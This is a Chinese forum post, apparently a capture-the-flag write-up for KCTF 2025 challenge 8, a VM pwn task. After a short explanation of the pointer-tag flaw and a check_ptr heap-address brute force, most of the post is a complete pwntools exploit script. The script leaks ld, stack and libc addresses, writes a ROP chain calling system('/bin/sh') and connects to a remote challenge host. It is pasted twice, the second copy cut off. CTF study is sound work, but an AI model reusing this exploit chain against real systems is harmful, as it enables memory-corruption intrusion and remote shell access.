-
-
[原创] KCTF 2025 第八题 wp
-
发表于: 2025-8-30 11:23 2703
-
题目是个简单的 vm pwn ,逻辑比较简单。运算时64位的最高位用来判断是否是指针,两个寄存器做运算时不判断结果的数值是否设置指针位,于是可以通过寄存器运算构造任意指针值,直接就有任意读写。但是题目中没有一个直接可用的地址。check_ptr函数中:
会判断传入的指针值是否在 memory 范围或者 stack 范围,如果不在就会重置为 memory 。 memory 是 mmap 出来的固定的地址,没用, stack 是 malloc 分配出来的,堆地址,那么可以通过此函数爆破堆地址,即检查 check_ptr 前后的指针值是否一致,一致就说明找到堆地址了。之后就从堆上读 vm.codes 拿到 ld 地址,再读 _dl_argv 得到栈地址,读栈得到 libc 地址,写 rop getshell 。
unsigned __int64 __fastcall check_ptr(__int64 ptr){ unsigned __int64 result; // rax if ( ptr - (unsigned __int64)vm->memory <= 0xFF8 || ptr - (unsigned __int64)vm->stack <= 0x7F8 ) result = ptr | 0x8000000000000000LL; else result = (unsigned __int64)vm->memory | 0x8000000000000000LL; return result;}unsigned __int64 __fastcall check_ptr(__int64 ptr){ unsigned __int64 result; // rax if ( ptr - (unsigned __int64)vm->memory <= 0xFF8 || ptr - (unsigned __int64)vm->stack <= 0x7F8 ) result = ptr | 0x8000000000000000LL; else result = (unsigned __int64)vm->memory | 0x8000000000000000LL; return result;}#!/usr/bin/env python3from pwn import *def make_ins(opcode, /, dst_reg=0, src_reg=0, imm4=0): return bytes([opcode, dst_reg, src_reg, 0]) + imm4.to_bytes(4, 'little')def is_reg_index(reg_index): return reg_index >= 0 and reg_index < 8def is_imm4(value): return value >= 0 and value < 1<<32def push_reg(reg_index): assert is_reg_index(reg_index) return make_ins(0, src_reg=reg_index)def push_imm4(value): assert is_imm4(value) return make_ins(1, imm4=value)def push_ptr(value): assert is_imm4(value) return make_ins(2, imm4=value)def pop_reg(reg_index): assert is_reg_index(reg_index) return make_ins(3, dst_reg=reg_index)def op_reg(op, dst_reg_index, src_reg_index): assert is_reg_index(dst_reg_index) assert is_reg_index(src_reg_index) return make_ins(op, dst_reg=dst_reg_index, src_reg=src_reg_index)def op_imm4(op, reg_index, value): assert is_reg_index(reg_index) assert is_imm4(value) return make_ins(op, dst_reg=reg_index, imm4=value)def mov_reg(dst_reg_index, src_reg_index): return op_reg(4, dst_reg_index, src_reg_index)def mov_imm4(reg_index, value): return op_imm4(5, reg_index, value)def add_reg(dst_reg_index, src_reg_index): return op_reg(6, dst_reg_index, src_reg_index)def add_imm4(reg_index, value): return op_imm4(7, reg_index, value)def sub_reg(dst_reg_index, src_reg_index): return op_reg(8, dst_reg_index, src_reg_index)def sub_imm4(reg_index, value): return op_imm4(9, reg_index, value)def mul_reg(dst_reg_index, src_reg_index): return op_reg(10, dst_reg_index, src_reg_index)def mul_imm4(reg_index, value): return op_imm4(11, reg_index, value)def div_reg(dst_reg_index, src_reg_index): return op_reg(12, dst_reg_index, src_reg_index)def div_imm4(reg_index, value): return op_imm4(13, reg_index, value)def and_reg(dst_reg_index, src_reg_index): return op_reg(14, dst_reg_index, src_reg_index)def and_imm4(reg_index, value): return op_imm4(15, reg_index, value)def or_reg(dst_reg_index, src_reg_index): return op_reg(16, dst_reg_index, src_reg_index)def or_imm4(reg_index, value): return op_imm4(17, reg_index, value)def xor_reg(dst_reg_index, src_reg_index): return op_reg(18, dst_reg_index, src_reg_index)def xor_imm4(reg_index, value): return op_imm4(19, reg_index, value)def ldr_reg(dst_reg_index, ptr_reg_index): return op_reg(20, dst_reg_index, ptr_reg_index)def str_reg(ptr_reg_index, src_reg_index): return op_reg(21, ptr_reg_index, src_reg_index)def init_code(): # r7 = 1<<32 # r6 = (1<<63) - 1 # r5 = 1<<63 return b''.join([ mov_imm4(7, 0x10000), mul_reg(7, 7), # r7 = 1<<32 mov_reg(6, 7), # r6 = r7 mul_imm4(6, 0x7fffffff), add_imm4(6, 0xffffffff), # r1 = (1<<63) - 1 mov_reg(5, 7), # r5 = r7 mov_imm4(4, 0x80000000), mul_reg(5, 4), # r5 = 1<<63 ])def mov_imm8(reg_index, value): assert is_reg_index(reg_index) assert reg_index < 5 assert is_imm4(value >> 32) if value < 1<<32: return mov_imm4(reg_index, value) assert value < 1<<63 return b''.join([ mov_reg(reg_index, 7), mul_imm4(reg_index, value >> 32), add_imm4(reg_index, value & 0xffffffff), ])def clear_ptr_tag(reg_index): assert is_reg_index(reg_index) assert reg_index < 5 return xor_reg(reg_index, 5)def set_ptr_tag(reg_index): assert is_reg_index(reg_index) assert reg_index < 5 return add_imm4(reg_index, 1) + add_reg(reg_index, 6)import sysLOCAL = len(sys.argv) == 1if LOCAL: p = process('./pwn')else: p = remote('123.57.66.184', 10011)codes = init_code()# r7 = 1<<32# r6 = (1<<63) - 1# r5 = 1<<63# codes += make_ins(24, dst_reg=0, src_reg=0, imm4=-1 & 0xffffffff) # jmp $# mov_imm8(3, 0x555555555320 + 0x1000 * 0x1000000), # 1s: 3scodes += b''.join([ mov_imm8(4, 0x555555555320), mov_imm8(3, 0x555555555320 + 0x1000 * 0x100000000), str_reg(4, 4), # output0: can't store data, loop started])codes += b''.join([ add_imm4(4, 0x1000), mov_reg(0, 4), or_reg(0, 5), # trigger address check clear_ptr_tag(0), make_ins(24, dst_reg=0, src_reg=4, imm4=3), # jmp $+4 if r0 == r4 make_ins(24, dst_reg=3, src_reg=4, imm4=1), # jmp $+2 if r3 == r4 make_ins(24, dst_reg=0, src_reg=0, imm4=-7 & 0xffffffff), # jmp $-6 make_ins(0xff), # output1: ill inst, not in this range str_reg(4, 4), # output1: can't store data, vm.stack FOUND])# r4 = vm.stackcodes += b''.join([ sub_imm4(4, 0x68), set_ptr_tag(4), ldr_reg(4, 4), # r4 = vm.codes add_imm4(4, 0x2ac0), set_ptr_tag(4), ldr_reg(4, 4), # r4 = stack str_reg(4, 4), # output2: can't store data, stack = [_dl_argv] ok mov_reg(3, 6), sub_imm4(3, 0xf), # r3 = (1<<63) - 0x10 and_reg(4, 3), # r4 = stack & ~0xf sub_imm4(4, 0x108), # r4 = &ret_addr mov_reg(3, 4), set_ptr_tag(3), ldr_reg(3, 3), str_reg(4, 4), # output3: can't store data, libc_ret = [stack] ok sub_imm4(3, 0x29d90), # r3 = libc_base])pop_rdi_ret = 0x2a3e5system = 0x50d70binsh = 0x1d8678# r3 = libc_base# r4 = &ret_addrcodes += b''.join([ mov_reg(0, 4), set_ptr_tag(0), mov_reg(1, 3), add_imm4(1, pop_rdi_ret + 1), str_reg(0, 1), # ret add_imm4(4, 0x8), mov_reg(0, 4), set_ptr_tag(0), mov_reg(1, 3), add_imm4(1, pop_rdi_ret), str_reg(0, 1), add_imm4(4, 0x8), mov_reg(0, 4), set_ptr_tag(0), mov_reg(1, 3), add_imm4(1, binsh), str_reg(0, 1), add_imm4(4, 0x8), mov_reg(0, 4), set_ptr_tag(0), mov_reg(1, 3), add_imm4(1, system), str_reg(0, 1),])# '''codes += make_ins(25) # stopif LOCAL: # input() passassert len(codes) < 1000 # avoid mtup.send(codes)p.interactive()#!/usr/bin/env python3from pwn import *def make_ins(opcode, /, dst_reg=0, src_reg=0, imm4=0): return bytes([opcode, dst_reg, src_reg, 0]) + imm4.to_bytes(4, 'little')def is_reg_index(reg_index): return reg_index >= 0 and reg_index < 8def is_imm4(value): return value >= 0 and value < 1<<32def push_reg(reg_index): assert is_reg_index(reg_index) return make_ins(0, src_reg=reg_index)def push_imm4(value): assert is_imm4(value) return make_ins(1, imm4=value)def push_ptr(value): assert is_imm4(value) return make_ins(2, imm4=value)def pop_reg(reg_index): assert is_reg_index(reg_index) return make_ins(3, dst_reg=reg_index)def op_reg(op, dst_reg_index, src_reg_index): assert is_reg_index(dst_reg_index) assert is_reg_index(src_reg_index) return make_ins(op, dst_reg=dst_reg_index, src_reg=src_reg_index)def op_imm4(op, reg_index, value): assert is_reg_index(reg_index) assert is_imm4(value) return make_ins(op, dst_reg=reg_index, imm4=value)def mov_reg(dst_reg_index, src_reg_index): return op_reg(4, dst_reg_index, src_reg_index)def mov_imm4(reg_index, value): return op_imm4(5, reg_index, value)def add_reg(dst_reg_index, src_reg_index): return op_reg(6, dst_reg_index, src_reg_index)def add_imm4(reg_index, value): return op_imm4(7, reg_index, value)def sub_reg(dst_reg_index, src_reg_index): return op_reg(8, dst_reg_index, src_reg_index)def sub_imm4(reg_index, value): return op_imm4(9, reg_index, value)def mul_reg(dst_reg_index, src_reg_index): return op_reg(10, dst_reg_index, src_reg_index)def mul_imm4(reg_index, value): return op_imm4(11, reg_index, value)def div_reg(dst_reg_index, src_reg_index): return op_reg(12, dst_reg_index, src_reg_index)def div_imm4(reg_index, value): return op_imm4(13, reg_index, value)def and_reg(dst_reg_index, src_reg_index): return op_reg(14, dst_reg_index, src_reg_index)def and_imm4(reg_index, value): return op_imm4(15, reg_index, value)def or_reg(dst_reg_index, src_reg_index): return op_reg(16, dst_reg_index, src_reg_index)def or_imm4(reg_index, value): return op_imm4(17, reg_index, value)def xor_reg(dst_reg_index, src_reg_index): return op_reg(18, dst_reg_index, src_reg_index)def xor_imm4(reg_index, value): return op_imm4(19, reg_index, value)def ldr_reg(dst_reg_index, ptr_reg_index): return op_reg(20, dst_reg_index, ptr_reg_index)def str_reg(ptr_reg_index, src_reg_index): return op_reg(21, ptr_reg_index, src_reg_index)def init_code(): # r7 = 1<<32 # r6 = (1<<63) - 1 # r5 = 1<<63 return b''.join([ mov_imm4(7, 0x10000), mul_reg(7, 7), # r7 = 1<<32 mov_reg(6, 7), # r6 = r7 mul_imm4(6, 0x7fffffff), add_imm4(6, 0xffffffff), # r1 = (1<<63) - 1 mov_reg(5, 7), # r5 = r7 mov_imm4(4, 0x80000000), mul_reg(5, 4), # r5 = 1<<63 ])def mov_imm8(reg_index, value): assert is_reg_index(reg_index)[培训]Windows内核深度攻防:从Hook技术到Rootkit实战!
赞赏
他的文章
赞赏
雪币:
留言: